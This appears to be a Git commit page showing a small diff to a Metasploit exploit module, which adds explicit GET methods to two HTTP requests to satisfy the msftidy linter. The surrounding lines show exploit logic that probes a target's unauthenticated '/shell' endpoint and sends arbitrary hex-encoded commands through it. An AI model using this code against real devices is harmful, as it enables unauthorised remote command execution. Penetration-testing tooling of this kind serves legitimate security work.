msftidy error updated 2.0
parent
d9727d991f
commit
c0f17cf6b8
|
@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
begin
|
begin
|
||||||
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
|
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
'method' => "GET",
|
||||||
'uri' => "/shell?echo+#{fingerprint}",
|
'uri' => "/shell?echo+#{fingerprint}",
|
||||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||||
)
|
)
|
||||||
|
@ -75,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def execute_command(cmd, opts)
|
def execute_command(cmd, opts)
|
||||||
begin
|
begin
|
||||||
send_request_cgi(
|
send_request_cgi(
|
||||||
|
'method' => "GET",
|
||||||
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
|
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
|
||||||
'headers' => { 'Connection' => 'Keep-Alive' }
|
'headers' => { 'Connection' => 'Keep-Alive' }
|
||||||
)
|
)
|
||||||
|
|
Loading…
Reference in New Issue